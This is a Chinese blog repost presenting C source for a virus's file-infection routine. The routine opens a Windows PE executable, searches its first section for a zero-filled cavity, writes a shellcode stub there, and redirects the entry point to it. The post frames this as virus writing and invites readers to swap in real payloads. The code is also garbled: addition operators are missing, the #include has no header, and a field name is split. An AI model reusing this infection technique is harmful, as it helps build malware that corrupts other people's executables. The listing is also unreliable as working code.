您的位置:首页 > 编程语言

通过C编程实现病毒的文件感染功能…

2015-01-23 21:00 141 查看
编程学着不是让你领教它的枯燥无味的,是让你灵活的用它的,让人们凌驾于计算机的智慧之上,用它把你的生活变得更简单,让不完美的世界更完美,看到了很多人自己写程序表白,的确可以做出很多浪漫。


你还可以拿着它玩出各种花样,别说你能力不够,那只是你对自己懒于思考,懒于学习的借口,世上无难事只怕有心人!奉上用C编程实现简易病毒的感染功能,别人能用很高级很复杂方式做到的事情,我同样能拿着最基层的方式做到,这里面很多函数,很多结果你根本就不需要写,只要记一下就行了,都是别人早就写好了的。



代码如下:

#include

//假设这是病毒的十六进制码,虽然太简单了,但对于复杂病毒,感染模式也一样。这个病毒叫shellcod,不给出真实病毒,想要强大的病毒就自己写吧。

char
shellcode[]="\x90\x90\x90\x90\xb8\x90\x90\x90\x90\x90\xff\xe0\x00";

DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS
pNtHeader);//唯一一个必须自己写的函数,用于寻找文件空隙。

int main(int argc,char *agrv[])

{

HANDLE hFile=NULL;

HANDLE hMap=NULL;

LPVOID lpBase=NULL;
//建立文件句柄,文件视图句柄用于读取文件的PE结构(不懂PE结构就先别学玩毒,先学PE吧),lpBase指向文件基地址的指针

hFile=CreateFile("F:\\1\\test.exe",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

//先打开要感染的文件,以感染一个名为test.exe文件为例,可以自己修改,后面的参数学过English就懂,英语文盲就去补英语去吧。

hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);

//打开文件的二进制视图,以查看PE,确定相关信息以图写入。

lpBase=MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);

PIMAGE_DOS_HEADER
pDosHeader=(PIMAGE_DOS_HEADER)lpBase; //读取基地址处PE结构的dos信息;

PIMAGE_NT_HEADERS pNtHeader=NULL;
//用于保存PE结构的文件头

IMAGE_SECTION_HEADER imgSec={0};

if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
//判断文件是否为PE结构

{

UnmapViewOfFile(lpBase);

CloseHandle(hMap);

CloseHandle(hFile);

return -1;

}

pNtHeader=(PIMAGE_NT_HEADERS)(BYTE*)lpBase
pDosHeader->e_lfanew; //读取文件头

if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)
//判断文件是否为PE结构

{

UnmapViewOfFile(lpBase);

CloseHandle(hMap);

CloseHandle(hFile);

return -1;

}

DWORD dwAddr=FindSpace(lpBase,pNtHeader);
//寻找文件空隙

DWORD
dwOep=pNtHeader->OptionalHeader.ImageBase
pNtHeader->OptionalHeader.AddressOfEntryPoint; //获取文件打开时的入口点

*(DWORD
*)&shellcode[5]=dwOep;

memcpy((char*)dwAddr,shellcode,strlen(shellcode)
3);

dwAddr=dwAddr-(DWORD)(BYTE*)lpBase;

pNtHeader->OptionalHeader.AddressOfEntryPoint=dwAddr;
//构造新的入口点

UnmapViewOfFile(lpBase);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)

{

//用于读取文件节区信息

PIMAGE_SECTION_HEADER
pSec=(PIMAGE_SECTION_HEADER)(((BYTE*)&(pNtHeader->OptionalHeader)
pNtHeader->FileHeader.SizeOfOptionalHeader));

DWORD dwAddr=pSec->

ointerToRawData
pSec->SizeOfRawData-sizeof(shellcode);

LPVOID lp=malloc(sizeof(shellcode));

memset(lp,0,sizeof(shellcode));

while(dwAddr>pSec->Misc.VirtualSize)

{

int
nRet=memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));

if(nRet==0)

{

free(lp);

return
dwAddr; //返回有可用空间即空隙的地址

}

dwAddr--;

}

free(lp);

return 0;

}

//你可以拿它,改改CreateFile处的路径,感染你自己的文件试试,然后用OD或者C32asm看看有什么效果。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐